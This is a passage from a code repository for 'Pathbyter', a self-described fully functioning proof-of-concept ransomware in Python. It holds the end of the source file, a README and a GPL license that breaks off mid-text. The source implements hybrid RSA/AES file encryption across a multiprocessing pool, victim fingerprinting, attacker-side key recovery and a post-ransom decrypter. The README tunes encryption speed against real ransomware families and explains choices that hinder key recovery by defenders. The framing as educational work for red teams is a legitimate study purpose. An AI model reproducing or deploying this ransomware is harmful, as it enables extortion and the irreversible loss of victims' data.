'machine_arch': self.machine_arch, 129 | 'exec': self.exec_type, 130 | 'timestamp': str(time())} 131 | _idcard = str(idcard).encode() 132 | 133 | return _idcard 134 | 135 | 136 | # A simple class to return a program's runtime. 137 | class Runtime: 138 | def __init__(self): 139 | self.start_time = time() 140 | 141 | 142 | def elapsed_time(self): 143 | print(f'runtime: {time() - self.start_time}\n') 144 | 145 | 146 | """Cryptographic Functions""" 147 | 148 | 149 | # Load an RSA public key, ready for encryption 150 | def load_rsa_key(rsa_pubkey): 151 | key = b64decode(rsa_pubkey) 152 | rsa_key = RSA.import_key(key) 153 | 154 | return rsa_key 155 | 156 | 157 | # Encrypt a file with an AES CBC cipher 158 | def aescbc_encrypt(rsa_pubkey, data): 159 | sess_aeskey = get_random_bytes(16) 160 | rsa_wrapped_aeskey = rsa_wrap_aes(rsa_pubkey, sess_aeskey) 161 | 162 | cipher = AES.new(sess_aeskey, AES.MODE_CBC) 163 | cipher_text = cipher.encrypt(pad(data, AES.block_size)) 164 | aes_enc_data = b64encode(cipher_text).decode('utf-8') 165 | iv = b64encode(cipher.iv).decode('utf-8') 166 | 167 | return rsa_wrapped_aeskey, aes_enc_data, iv 168 | 169 | 170 | # Decrypt a file with an AES CBC cipher 171 | def aescbc_decrypt(aeskey, iv, enc_data): 172 | cipher = AES.new(aeskey, AES.MODE_CBC, iv) 173 | data = unpad(cipher.decrypt(enc_data), AES.block_size) 174 | 175 | return data 176 | 177 | 178 | # Wrap an AES key in RSA encryption 179 | def rsa_wrap_aes(rsa_pubkey, aeskey): 180 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) 181 | cipher_text = cipher_rsa.encrypt(aeskey) 182 | enc_aeskey = b64encode(cipher_text).decode('utf-8') 183 | 184 | return enc_aeskey 185 | 186 | 187 | # Unwrap the RSA wrapped AES key 188 | def rsa_unwrap_aes(rsa_privkey, wrapped_aeskey): 189 | cipher_rsa = PKCS1_OAEP.new(rsa_privkey) 190 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 191 | 192 | return aeskey 193 | 194 | 195 | # Use an AES CTR cipher to encrypt a file 196 | def aesctr_encrypt(rsa_pubkey, data): 197 | new_aeskey = get_random_bytes(16) 198 | rsa_enc_aes_key = rsa_wrap_aes(rsa_pubkey, new_aeskey) 199 | 200 | cipher = AES.new(new_aeskey, AES.MODE_CTR) 201 | aes_ct = cipher.encrypt(data) 202 | nonce = b64encode(cipher.nonce).decode('utf-8') 203 | 204 | return rsa_enc_aes_key, aes_ct, nonce 205 | 206 | 207 | # Use an AES CTR cipher to decrypt a file 208 | def aesctr_decrypt(aeskey, nonce, enc_data): 209 | try: 210 | cipher = AES.new(aeskey, AES.MODE_CTR, nonce=nonce) 211 | pt = cipher.decrypt(enc_data) 212 | 213 | return pt 214 | 215 | except (ValueError, KeyError): 216 | print('ValueError or KeyError') 217 | 218 | 219 | """Pathbyter Core Functions""" 220 | 221 | 222 | # Used to change the filenames after encryption 223 | def add_file_suffix(target_files): 224 | for _file in target_files: 225 | if _file not in IGNORE_FILES: 226 | rename(_file, f'{_file}.crypt') 227 | 228 | return 229 | 230 | 231 | # Generate a unique target ID, and create ransomware's key-value database 232 | def init_attack(idcard, rsa_pubkey): 233 | rsa_wrapped_aeskey, aes_enc_idcard, aescbc_iv = aescbc_encrypt(rsa_pubkey, idcard) 234 | _idcard = {'id': {'RSA wrapped AES key': rsa_wrapped_aeskey, 235 | 'AES encrypted id card': aes_enc_idcard, 236 | 'AES CBC iv': aescbc_iv}} 237 | with open('donotdelete.json', 'w') as f: 238 | json.dump(_idcard, f) 239 | 240 | 241 | # Initialize the local RSA session keys for the ransomware attack 242 | def gen_session_keys(rsa_pubkey): 243 | keys = RSA.generate(2048) 244 | sess_privkey = keys.export_key('DER') # Export the private key in binary format for in-memory AES encryption 245 | poc.add_sess_key(sess_privkey) # Proof-of-Concept function, not a part of the main program 246 | sess_rsa_pubkey = keys.publickey().export_key('DER') 247 | rsa_wrapped_aeskey, aes_enc_rsa_sess_privkey, aescbc_iv = aescbc_encrypt(rsa_pubkey, sess_privkey) 248 | stub = {'stub': {'RSA wrapped AES key': rsa_wrapped_aeskey, 249 | 'AES encrypted session RSA private key': aes_enc_rsa_sess_privkey, 250 | 'AES CBC iv': aescbc_iv}} 251 | with open('donotdelete.json', 'r+') as f: 252 | json_kvdb = json.load(f) 253 | json_kvdb.update(stub) 254 | with open('donotdelete.json', 'r+') as f: 255 | json.dump(json_kvdb, f) 256 | 257 | return sess_rsa_pubkey 258 | 259 | 260 | # This function works in conjunction with the multiprocessing.Pool.map(target=function, iterable). 261 | def exec_attack(file_path): 262 | with open(file_path, 'rb') as f: 263 | data = f.read() 264 | w_aeskey, aes_ct, nonce = aesctr_encrypt(sess_pubkey, data) 265 | decryption_stub = {'k': w_aeskey, 266 | 'n': nonce} 267 | stub = str(decryption_stub).encode() 268 | out = aes_ct + stub 269 | with open(file_path, 'wb') as f: 270 | f.write(out) 271 | 272 | poc.print_encrypted_file(file_path) # Print the file and PID it was encrypted in 273 | 274 | return 0 275 | 276 | 277 | """Ransomware C&C Server Side Functions""" 278 | 279 | 280 | # Decrypt the victims ID and save it to the decryption database. 281 | def decrypt_idcard(): 282 | atkr_privkey = RSA.import_key(open('private.pem').read()) 283 | with open('donotdelete.json', 'r') as f: 284 | kvdb = json.loads(f.read()) 285 | rsa_enc_aeskey = b64decode(kvdb['id']['RSA wrapped AES key']) 286 | aes_enc_idcard = b64decode(kvdb['id']['AES encrypted id card']) 287 | iv = b64decode(kvdb['id']['AES CBC iv']) 288 | aeskey = rsa_unwrap_aes(atkr_privkey, rsa_enc_aeskey) 289 | idcard = aescbc_decrypt(aeskey, iv, aes_enc_idcard) 290 | idcard = idcard.decode() 291 | return idcard 292 | 293 | 294 | # Decrypt the session RSA private key and save it to the decryption database. 295 | def decrypt_session_privkey(): 296 | atkr_privkey = RSA.import_key(open('private.pem').read()) 297 | with open('donotdelete.json', 'r') as f: 298 | data = json.loads(f.read()) 299 | wrapped_aes_key = b64decode(data['stub']['RSA wrapped AES key']) 300 | aes_enc_sess_privkey = b64decode(data['stub']['AES encrypted session RSA private key']) 301 | iv = b64decode(data['stub']['AES CBC iv']) 302 | aeskey = rsa_unwrap_aes(atkr_privkey, wrapped_aes_key) 303 | session_rsa_private_key = aescbc_decrypt(aeskey, iv, aes_enc_sess_privkey) 304 | sess_privkey = RSA.import_key(session_rsa_private_key) 305 | with open('ransompaid.pem', 'wb') as f: 306 | f.write(sess_privkey.exportKey('PEM')) 307 | poc.add_dec_sess_key(b64encode(session_rsa_private_key).decode('utf-8')) # Proof-of-concept function 308 | 309 | return session_rsa_private_key 310 | 311 | 312 | """Post Ransom Decrypter""" 313 | 314 | 315 | # This would be a standalone program available for download after the ransom was paid 316 | def ctrl_z_ransomware(): 317 | with open('ransompaid.pem', 'r') as f: 318 | sess_privkey = RSA.import_key(f.read()) 319 | 320 | for file_path in target_files: 321 | with open(f'{file_path}.crypt', 'rb') as _f: 322 | f = _f.read() 323 | stub = eval(f[-374:]) 324 | enc_data = f[:-374] 325 | wrapped_aeskey = b64decode(stub['k']) 326 | nonce = b64decode(stub['n']) 327 | cipher_rsa = PKCS1_OAEP.new(sess_privkey) 328 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 329 | nonce = b64decode(stub['n']) 330 | 331 | cipher = AES.new(aeskey, AES.MODE_CTR, nonce=nonce) 332 | data = cipher.decrypt(enc_data) 333 | with open(f'{file_path}.crypt', 'wb') as f: 334 | f.write(data) 335 | _file_path = file_path.removesuffix('.crypt') 336 | rename(f'{file_path}.crypt', _file_path) 337 | print(f'[*] file: {_file_path} ~ decrypted') 338 | 339 | 340 | """ Pathbyter Proof-of-Concept Main Program Logic """ 341 | 342 | 343 | if __name__ == '__main__': 344 | 345 | 346 | """ The Main Ransomware Attack """ 347 | 348 | 349 | target_files = poc.init_PoC() 350 | poc.check_1() 351 | runtime = Runtime() # Start a runtime monitor 352 | victim_system = System() # Create an instance of the System class to fetch information 353 | atkr_pubkey = load_rsa_key(ATKR_PUBLIC_KEY) # Import the hardcoded Attacker RSA public key 354 | victim_id = victim_system.gen_id_card() # Create a victim UUID, and generate a dictionary of victim information 355 | 356 | # The actual function call Pathbyter uses to collect a list of target files: 357 | # target_files = victim_system.path_crawl(path=None, ignore_files=IGNORE_FILES) 358 | 359 | init_attack(victim_id, atkr_pubkey) # Create the vicitim ID card and create the decryption stub 360 | sess_rsa_pubkey = gen_session_keys(atkr_pubkey) # Generate the RSA session key pair 361 | 362 | sess_pubkey = RSA.import_key(sess_rsa_pubkey) # Import the RSA session public key for encryption 363 | 364 | # Create a process pool that will spawn a processes for each CPU present in the victim system 365 | with Pool(victim_system.cores) as pool: 366 | # Divide up the target files among the processes in the pool equally and start decrypting 367 | result = pool.map_async(exec_attack, target_files) 368 | pool.close() 369 | pool.join() 370 | print('\n[*] All target files are encrypted.') 371 | 372 | add_file_suffix(target_files) # Add the file suffix '.crypt' to the encrypted files 373 | 374 | runtime.elapsed_time() # Print the total runtime 375 | poc.check_2() 376 | 377 | 378 | """ Server side functions """ 379 | 380 | 381 | idcard = decrypt_idcard() # Decrypt the ID card 382 | poc.add_decrypted_idcard(idcard) 383 | 384 | sess_privkey = decrypt_session_privkey() # Decrypt the RSA session private key 385 | 386 | 387 | """ Back on the victims PC """ 388 | 389 | 390 | # Ransom paid, use decryption script and unencrypted RSA session private key to recover data 391 | ctrl_z_ransomware() 392 | 393 | 394 | # Proof-of-Concept closing functions 395 | poc.check_file() 396 | poc.check_rsa_session_key() 397 | poc.check_dummy_file_contents() 398 | cyoa = input("\n[*] Press enter to print proof-of-concept database") 399 | poc.db_dumps() 400 | poc.clean_up() 401 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | Like this project? Give it a star! Click here 4 | 5 | # Pathbyter: Hybrid Encryption Ransomware with Multiprocessing in Python 6 | *** 7 | Pathbyter is a lightning-fast and fully functioning proof-of-concept ransomware that emulates the tactics employed by malware like WannaCry, Lockbit, REvil, Babuk and NotPetya. Based on speed tests which you can learn about below, Pathbyter can encrypt nearly as quickly as the fastest ransomware variants in the wild. This project is an exploration of the more advanced programmatic features employed in the development of modern ransomware in the interests of furthering education on the malware used against enterprises. 8 | 9 | Included in this repository are a number of iterations of Pathbyter, including a 100% safe to execute proof-of-concept version that can walk curious programmers through the process of an attack without any risk of losing data. 10 | 11 | 12 | ## Table of Contents 13 | 14 | 1. [Why build Pathbyter?](#why-build-pathbyter) 15 | 2. [Disclaimer](#Disclaimer) 16 | 3. [Requirements](#Requirements) 17 | 4. [What's in this repository?](#whats-in-this-repository) 18 | 5. [Usage](#usage) 19 | 6. [How fast is Pathbyter?](#how-fast-is-pathbyter) 20 | 8. [How Pathbyter works:](#how-pathbyter-works) 21 | 22 | 23 | *** 24 | ## Why build Pathbyter? 25 | 26 | I am a very curious person. While reading security research reports on different ransomware strains, I saw a pattern of programmatic features common among them that interested me. I researched Python ransomware projects on Github to see what solutions others had come up with to emulate those features. Almost every example I read encrypted files in an os.walk() loop and then displayed a ransom message asking for Bitcoin. Many lacked most if not all of the elements that I was really curious about. I had some ideas as to how I would go about implementing those features. Mix in some time and creative problem solving and we arrive at Pathbyter. 27 | 28 | As someone ultimately pursuing a career in cybersecurity engineering I think that it's important to understand how malware works on a programmatic level. I believe that ultimately it will enable you to build better tools and create more secure security architecture for your organization. 29 | 30 | **As Sun Tzu said:** 31 | 32 | >Know the enemy and know yourself in a hundred battles you will never be in peril. When you are ignorant of the enemy but know yourself, your chances of winning or losing are equal. If ignorant both of your enemy and of yourself, you are certain in every battle to be in peril. 33 | 34 | 35 | *** 36 | ## Disclaimer 37 | 38 | Pathbyter is intended for educational purposes or for approved red team exercises only. The author does not take any responsibility for the misuse of this software, nor does he approve of the redistribution of this software for anything other than legitimate educational and/or professional reasons. **Do not use Pathbyter on a box you have not been given express permission to run it on.** 39 | 40 | Please do give this project a star if you like the code! 41 | 42 | 43 | *** 44 | ## Requirements 45 | 46 | Pathbyter uses one non-Standard Python Library module, pycryptodome, to gain access to the various cryptographic ciphers that it provides. 47 | 48 | To install pycryptodome use: 49 | 50 | ```pip install pycryptodome``` 51 | 52 | Check out the [readthedocs](https://pycryptodome.readthedocs.io/en/latest/). 53 | 54 | 55 | *** 56 | ## What's in this repository? 57 | 58 | ![ALT text](imgs/githubrepo.png) 59 | 60 | - **pathbyter.py**: is the clean code version of Pathbyter for individuals who are just interested in diving into the code. 61 | 62 | - **private.pem**: is the associated RSA private key to the hardcoded RSA public key found in every version of Pathbyter in this repository. 63 | 64 | - **pathbyter-POC Directory** 65 | - **pathbyter-POC.py**: This is the 100% safe to run proof-of-concept version of Pathbyter. This version of Pathbyter is specifically intended for students and programmers interested in learning about how modern ransomware functions on a programmatic level. Running this program will walk you through a ransomware attack without any risk of encrypting your data. To learn more about the proof-of-concept version, see the [Usage](#usage) section below. 66 | - **proof-of-concept.py**: An additional 100 lines of code that adds supporting logic to pathbyer-POC.py. 67 | 68 | - **red-teaming Directory** 69 | - **pathbyter-v2.py**: A streamlined version of Pathbyter with some minimal argv tooling. 70 | 71 | - **speed-test Directory** 72 | - **speedtest.py**: This is the version of Pathbyter I used to run the speed tests. 73 | - **testfilegenerator.py**: A simply Python script to create a series of files of a specified length. 74 | 75 | - **utils Directory** 76 | - **rsa-keygen.py**: An RSA keypair generator. 77 | - **size.py**: A simple script I created to test the length of the RSA wrapped AES keys to append them to the end of encrypted files. 78 | - **system.py**: A standalone version of the System class that provides a lot of the functionality for Pathbyter. On instantiation, a System class object checks for an internet connection, fetchs a public ip if there is internet, and collects a sequence of useful information about the box it was created upon. It also has a built in path_crawl() method that can be used to fetch a list of files recursively from a selected parent directory or using os.path.expanduser('~') on Mac, Windows, or Linux. 79 | 80 | 81 | *** 82 | ## Usage: 83 | 84 | 85 | *** 86 | ## How fast is Pathbyter? 87 | 88 | Pathbyter, as it says in the intro blurb, is wicked fast. To generate test data that would allow me to compare Pathbyter's encryption performance to 'real' ransomware in the wild, [I used research courtesy of Splunk.](https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html) 89 | 90 | **Splunk**: 91 | >We tested every sample across all four host profiles, which amounted to 400 different ransomware runs (10 families x 10 samples per family x 4 profiles). In order to measure the encryption speed, we gathered 98,561 test files (pdf, doc, xls, etc.) from a public file corpus, totaling 53GB. 92 | 93 | **The researchers at Splunk arrived at the following results:** 94 | 95 | ![ALT text](imgs/splunktests.png) 96 | 97 | **Initial Testing** 98 | 99 | I did most of the development for Pathbyter in VScode on my Pixelbook Go, so it was an easy choice for my first round of testing. Due to disk constraints I used a scaled down version of the splunk test: 100 | 101 | I generated 10,000 files at 512 kb. The contents of each file was "Hello World!" repeated many times. 102 | 103 | I also streamlined Pathbyter's code (dropped internal function calls for the main attack loop), to try and improve optimization at runtime for a reduction in the cleanliness of the code. I used the variant of Pathbyter that appends keys to the file, and didn't bother changing the name of the encrypted files. 104 | 105 | A note: It doesn't matter if the files that are being encrypted different of types if they are the same size. Splunk's researchers used a file corpus for their data, which is a collection of different text documents. File types are identified by the OS via the magic bytes at the start of the file. The filetype and the substance of its contents are irrelevant in regard to the time it takes to encrypt the file, only the size is important. 106 | 107 | **On its first run, Pathbyter encrypted 5gb / 10,000 Files in 77.75 seconds in a VScode terminal on my Chromebook.** 108 | 109 | ![ALT text](imgs/chromebookspeedtest.png) 110 | 111 | **Over the course of the next 5 runs Pathbyter averaged 78.75 seconds** 112 | 113 | To meaningfully contrast with Splunk's runtimes, we take Pathbyter's runtime of 78.75 and scale up by ten. So, we multiply 78.75 by 10 and divide by 60. We get 13.125, which is approximately 13:08 seconds. With a total runtime of 12:57, Pathbyter would have placed third in Splunk's testing, which is more than 3 times faster than the median encryption speed of the ransomware Splunk tested. 114 | 115 | 116 | **Round 2: Splunk's full test on a Desktop computer running Windows 10** 117 | 118 | This time I used 100,000 garbage files, each 512kb, filled with a corny quote from the movie Hackers repeated many times. The test computer had a Ryzen 5800x CPU, 32 GB DDR5 ram, and an NVME 4 SSD. Admittedly this broke my code, which was only Linux compatible at the time, so after some tinkering I ran the tests. 119 | 120 | **The results were... impressive.** 121 | 122 | ![ALT text](imgs/pathbyter2.png) 123 | 124 | ![ALT text](imgs/pathbyter4.png) 125 | 126 | ![ALT text](imgs/pathbyter3.png) 127 | 128 | That's pretty fast. 129 | 130 | **Results over 10 runs** 131 | 132 | | Run | Elapsed Time | 133 | | --- | ------------ | 134 | | 1 | 637.15 | 135 | | 2 | 457.13 | 136 | | 3 | 470.89 | 137 | | 4 | 469.52 | 138 | | 5 | 454.78 | 139 | | 6 | 444.68 | 140 | | 7 | 445.81 | 141 | | 8 | input me | 142 | | 9 | input me | 143 | | 10 | input me | 144 | |Median| | 145 | 146 | **Conclusions:** 147 | 148 | Encryption is a CPU heavy task. If you have one process encrypting all the files, it is obviously slower than spawning as many new processes are there are logical processors present, splitting the target files up equally between them, and having each process encrypt their share of the files asynchronously. Basically, with multiprocessing you can speed up encrypting files, even if the code is written in a scripted language like Python, and it can be by a significant multiplier. 149 | 150 | Because malware authors tend to favor low level languages that have a small footprint and are very portable (like C), I believe that the reason for the median speed from Splunk's tests highly contrasting the faster ransomware variants has to do with whether or not they are employing multiprocessing in their code. With Python, I noticed a 3-4 times increase in runtime when I switched to multiprocessing. The fastest variants in Splunks testing were on average 3-4 times faster than the median, with the exception of Lockbit, which is ridiculously fast. The speed increase is coincidentally pretty close. Python would be slower than a compiled language when it came to runtime, so this would explain why Pathbyter is significantly faster than the median, but slower than the fastest examples. 151 | 152 | 153 | *** 154 | ## How Pathbyter works: 155 | 156 | **The ransomware attack:** 157 | 158 | - At runtime Pathbyter generates an instance of the System class, checking for a public ip, and gathering information about the victim box. It then uses a System class method to generate a target id card, which includes a UUID as well as network, user and hardware information. 159 | - Pathbyter generates a new AES 128-bit key and uses it to encrypt the id card with an AES CBC cipher. 160 | - Using the attacker's hardcoded RSA-4096 public key, Pathbyter encrypts the AES key. 161 | - Then the encrypted id card, associated encrypted AES key and the key's initialization vector are written to a JSON database, 'donotdelete.json'. 162 | - Next, a new session RSA keypair is generated. 163 | - A note: A session keypair is generated at the start of each attack, so that the victim is able to share the encrypted session RSA private key with the attackers, and they can return the unencrypted private key, without compromising the confidentiality of the attacker's private key associated with the hardcoded public key used in every attack. 164 | - The session RSA private key is immediately encrypted with a new AES key in memory and function scope, the new AES key is wrapped with the attacker's public key, and the necessary information is added to the JSON decryption stub. 165 | - The session RSA public key is returned to the main program ready to encrypt. 166 | - Pathbyter uses the System.path_crawl() method to generate a list of a target files. 167 | - Pathbyter generates a multiprocessing Pool class instance, which takes one argument - the number of processors to generate new processes with. 168 | - Pathbyter uses the Pool class' map method, which takes two arguments, a function and an iterable. The map method splits up the iterable equally among the processes in the pool, and then runs the function asynchronously on the different processes, each passing their set of variables one at a time to the function in a loop until all are finished. 169 | - The attack function: opens the target file in read bytes mode, reads the file's bytes into a variable > generates a new AES-128 bit key > uses an AES CTR cipher to encrypt the file data > wraps the AES key with the session RSA public key > reopens the file in write bytes mode > writes the encrypted data and concatenates the wrapped AES key and nonce to the end of the file. 170 | - After the encryption process is finished, Pathbyter appends '.crypt' to all of the filenames in the target files list. 171 | - Finally Pathbyter will print out the encryption time instead of present a ransom note. 172 | 173 | **Decryption:** 174 | 175 | - The decryption process is completely unconcerned with speed. It uses a System.path_crawl() to collect all the files that end in .crypt and decrypts them one at a time. It slices the last 314 bytes off of each file when it opens them in read bytes mode to recover the encrypted AES key and nonce. It writes the unencrypted RSA public key out, which is kind of unthematic in that an attacker would do this remotely, but it was convenient to just have the private key sitting in the same folder. 176 | 177 | 178 | 179 | 180 | Something I noted frequently in my research was that the various stages of the the cyberattacks in which ransomware get deployed seem to often be misattributed to the ransomware, rather than the hackers themselves. Ransomware does not phish or spear phish, gain access, elevate privileges, achieve persistence, and exfiltrate data before deploying the itself, those are threat actors. This project made me feel that ransomware itself is really a system's administration tool gone awry, and that the ransomware that encrypt slower still ultimately achieve the same effect if deployed, dare I say, intelligently (after hours, etc.). 181 | 182 | Pathbyter only uses in-memory encryption. This means that decryption keys, the session RSA private key or any of the AES keys, are never written to disk before being encrypted. This is something malicious actors do to prevent the recovery of the keys by a skilled defender working on behalf of the ransomware victim. Deleted items may still be stored on the same sector of the disk if that portion of the harddrive hadn't been written oversince. To capture a key in-memory, a snapshot of the ram would need to have been taken at the moment of encryption. This method also further limits input and output operations that en-masse can bog down the processors and lengthen the overall runtime. 183 | 184 | Appending the encrypted keys to the files means that you can significantly limit the number of read and write operations that the processes have to perform over a large number of files. You read the file into a variable in write bytes mode and then close it > generate a new AES-128 bit key > encrypts the variable with the new key and an AES CTR cipher > wraps the AES key with the session RSA public key > reopens the file in write bytes mode > write the encrypted data and the key. So for each file you only read and write to the disk once. Pathbyter uses the fastest AES cipher, CTR or Counter mode to encrypt files, but AES CBC to encrypt the RSA session private key (just to spice things up a bit). 185 | 186 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution 